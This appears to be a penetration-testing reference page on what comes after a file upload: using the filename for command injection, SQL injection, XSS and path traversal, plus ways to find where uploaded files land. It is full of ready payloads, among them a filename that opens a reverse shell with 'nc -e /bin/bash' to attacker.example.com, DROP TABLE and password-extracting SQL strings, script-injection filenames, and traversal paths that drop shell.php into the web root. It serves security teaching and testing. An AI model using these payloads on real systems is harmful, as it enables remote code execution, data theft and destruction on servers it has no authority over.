Skip to content

Post-upload

Once the upload succeeds, two things often matter: what happened to the filename (was it used in a shell command? an SQL query? rendered in HTML?), and where did the file land?

# Filename as a command-injection vector
filename="file$(whoami).jpg" # if app runs `mv file.jpg /uploads/`
filename="file`whoami`.jpg"
filename="file.jpg||whoami"
# Filename as an XSS vector
filename="<img src=x onerror=alert(1)>.jpg"
# Filename as an SQL injection vector
filename="file';select+sleep(5);--.jpg"
# Finding the upload directory when not disclosed
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt:FUZZ \
-u https://target/FUZZ/ -mc 200,403
# Windows-specific filename tricks
filename="shell.aspx:.jpg" # alternate data stream - writes shell.aspx
filename="CON.aspx" # reserved name → error reveals path
filename="HAC~1.TXT" # 8.3 short name reference

Success indicator: depends on the technique - injection succeeds, hidden upload directory found, or error message discloses sensitive info.

The uploaded filename frequently flows into other parts of the application - shell commands, SQL queries, HTML rendering, log entries. Each of these is a separate injection sink if the filename isn’t sanitized.

When the application shells out to handle the upload (image processing, virus scan, archive extraction, file move), the filename can become a command-injection vector:

Terminal window
# Application code (vulnerable)
shell_exec("mv /tmp/upload " . $uploadDir . "/" . $_FILES["file"]["name"]);
# Attacker filename
filename="evil.jpg; nc -e /bin/bash attacker.example.com 4444; #"
# Resulting shell command:
mv /tmp/upload /uploads/evil.jpg; nc -e /bin/bash attacker.example.com 4444; #

The ; ends the mv command and starts a new one - the reverse shell command. RCE through the upload’s filename rather than its content.

file.jpg; id
file.jpg && id
file.jpg | id
file.jpg`id`.jpg
file$(id).jpg
file.jpg' && id #

For applications that wrap the filename in quotes, escape out:

"; id; echo "
'; id; echo '

Different shell metacharacters work depending on quoting and shell version. See Command Injection for the comprehensive treatment - this section is about the upload-specific delivery.

The vulnerability appears when the application:

  1. Uses system(), exec(), shell_exec(), or similar to handle the uploaded file
  2. Inserts the filename directly into the command string
  3. Doesn’t escape shell metacharacters

Common in:

  • Custom file-conversion features (ffmpeg input.mp4 output.mp4)
  • Custom virus scanning (clamscan filename)
  • Image processing pipelines (convert input.jpg output.png)
  • Archive extraction (unzip filename.zip)
  • Backup / move operations

When the filename gets stored in a database and the storage uses raw SQL:

// Vulnerable
mysqli_query($conn, "INSERT INTO uploads (filename) VALUES ('" . $_FILES["file"]["name"] . "')");
filename="file'); DROP TABLE uploads; --.jpg"
filename="file', (SELECT password FROM users LIMIT 1)); --.jpg"
filename="file' UNION SELECT password FROM users; --.jpg"

See SQL Injection for the full treatment.

When SQL injection in filename isn’t visible directly, time-based detection works:

filename="file';select+sleep(5);--.jpg"

If the upload response takes 5+ seconds, the filename is being executed as SQL. Even when the response itself doesn’t reflect anything, the delay confirms the bug.

When the filename is displayed back to users (file lists, upload confirmation pages, audit logs viewed by admins):

filename="<script>alert(document.domain)</script>.jpg"
filename="<img src=x onerror=alert(1)>.jpg"
filename="javascript:alert(1).jpg"
filename="onmouseover=alert(1) .jpg"

The injection fires when the filename is rendered in HTML without escaping. Common locations:

  • “Your file has been uploaded as: <filename>” - confirmation message
  • File-listing pages
  • Admin audit logs
  • Email notifications sent to administrators

Stored XSS, full session-stealing potential.

When the application uses the filename to determine where to write:

// Vulnerable
move_uploaded_file($_FILES["file"]["tmp_name"], "/uploads/" . $_FILES["file"]["name"]);
filename="../../../etc/cron.d/evil"
filename="../../../../var/www/html/shell.php"

The traversal escapes the uploads directory and writes elsewhere. Depending on the web server user’s permissions, this can:

  • Overwrite system config files (often denied by permissions)
  • Drop scripts in web-served directories (/var/www/html/shell.php)
  • Create cron jobs (/etc/cron.d/evil - usually root-only)
  • Corrupt database files

The web-served-directory case is the practical one - /uploads/../../../var/www/html/shell.php lands in the document root, executable as PHP, bypassing all upload-directory restrictions.

filename="shell.aspx:.jpg" # Alternate Data Stream - writes shell.aspx
filename="shell.aspx::$DATA" # same, different syntax
filename="shell.aspx. . " # trailing dots/spaces - Windows strips
filename="shell.aspx ." # similar
filename="HAC~1.TXT" # 8.3 short name reference

The first form abuses NTFS Alternate Data Streams - when Windows receives a filename containing :, it interprets everything after the colon as a stream name. The base file (shell.aspx) is what actually gets written to disk; the stream name (.jpg) is metadata. The application sees shell.aspx:.jpg and runs its .jpg validation, but the on-disk file is shell.aspx.

After a successful upload, the file URL is usually displayed somewhere. When it isn’t, you need to find where the file went.

The cleanest path - many applications return the URL in the response:

{
"success": true,
"path": "/uploads/2024/05/shell.phar",
"url": "https://target.example.com/uploads/2024/05/shell.phar"
}

Check both the HTTP response body and headers (sometimes a Location: header is the only place the path appears).

When the upload is associated with a user-visible feature (profile picture, document attachment), view the page after upload and look at the source:

<img src="/profile_images/user123/avatar.png">
<a href="/attachments/abc123/document.pdf">View attachment</a>

The src and href attributes show the URL path, which usually maps directly to the on-disk path.

When the URL isn’t disclosed anywhere:

Terminal window
# Common upload directories
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt:FUZZ \
-u https://target/FUZZ/ \
-mc 200,301,302,403
# Specifically targeting upload-ish names
cat > /tmp/upload-dirs.txt <<'EOF'
uploads
upload
files
file
attachments
avatars
profile_images
profile
images
img
media
storage
public/uploads
static/uploads
user_data
user_content
content
shared
documents
EOF
ffuf -w /tmp/upload-dirs.txt:FUZZ \
-u https://target/FUZZ/ \
-mc 200,301,302,403

Hits at status 403 are often as interesting as 200 - they confirm the directory exists, even if directory listing is disabled. Try accessing your specific filename within the 403’d directory.

Force the application to error during upload - the error often reveals the upload directory:

filename="../../../../../../../etc/passwd" # path traversal in filename
filename="file/with/slashes.jpg" # invalid filename chars
filename=<5000-character string> # overly long filename
filename="$( perl -e 'print chr(0)x4096' )" # null bytes

Verbose errors like:

Warning: move_uploaded_file(): Unable to move '/tmp/upload12345' to '/var/www/html/uploads/...'

…reveal the upload directory directly.

When LFI is available, read the upload-handling source:

?page=php://filter/convert.base64-encode/resource=upload

Look for the $uploadDir or equivalent variable - it tells you exactly where files land. See the LFI cluster for the file-disclosure path.

When the upload directory disallows directory listing AND filenames are randomized, find your file by uploading two identical files simultaneously:

Terminal window
# Send two uploads in parallel with same content
curl -F "[email protected]" https://target/upload &
curl -F "[email protected]" https://target/upload &
wait

The second one may fail with “file already exists” - and the error message often includes the resolved path of the first file.

Windows reserves certain filenames at the OS level:

CON, PRN, AUX, NUL
COM1 through COM9
LPT1 through LPT9

When the upload tries to write to a file with one of these names, Windows refuses - and the application typically errors out, revealing the upload path in the error message.

filename="CON.aspx"
filename="LPT1.jpg"
filename="NUL"

The error path is:

move_uploaded_file: Unable to move '/tmp/upload' to 'C:\inetpub\wwwroot\uploads\CON.aspx':
The system cannot find the path specified.

The full path leak is the win - even though the upload itself failed.

Legacy Windows filename convention - every long filename has a corresponding 8.3 short name:

hackthebox.txt → HACKTH~1.TXT
my-document.pdf → MY-DOC~1.PDF

If the application uses long filenames but accepts uploads with short-name variants, race conditions and overwrites become possible:

filename="WEB~1.CONFIG" # may resolve to "web.config"
filename="HAC~2.TXT" # may match a different file than expected

This is mostly historical - modern Windows can disable 8.3 generation, and most apps don’t have this issue. Worth trying when other approaches fail and the target is Windows.

A non-destructive probe to map the upload directory:

Terminal window
# 1. Upload a file with a unique content marker
echo "UNIQUE_PROBE_$(date +%s)" > probe.txt
curl -F "[email protected]" https://target/upload
# 2. Search for it via Google/Bing site search (if the target is indexed)
# site:target.example.com "UNIQUE_PROBE_..."
# 3. Or fuzz common upload directories looking for the file
for dir in uploads upload files attachments avatars images media; do
response=$(curl -s "https://target/$dir/probe.txt")
if echo "$response" | grep -q "UNIQUE_PROBE_"; then
echo "Found in $dir"
fi
done

The marker-based search avoids generating noise in the application’s own logs (no fuzz against the application’s URLs, just direct file accesses).

  • Filename injection is shockingly common. When an application invokes external tools on uploaded files, the filename frequently flows into the shell command without proper escaping. Test by uploading file$(id).jpg - if the upload succeeds and the response or subsequent file listing shows the actual user, RCE is possible.
  • Path disclosure isn’t a finding on its own but it’s a meaningful chain primitive. Discovering that uploads land at /var/www/html/uploads/ enables direct visits, LFI-chain targeting, and second-order attacks.
  • Race conditions during upload. Some applications do upload → validation → quarantine → final-move. The window between “uploaded” and “moved to quarantine” can be exploited - race the validation by uploading and accessing the file simultaneously, sometimes catching it before quarantine.
  • Windows reserved names cause genuine errors. Uploading CON.aspx on a Windows server reliably crashes the file move and reveals the path. Linux servers don’t have this issue (any filename is allowed).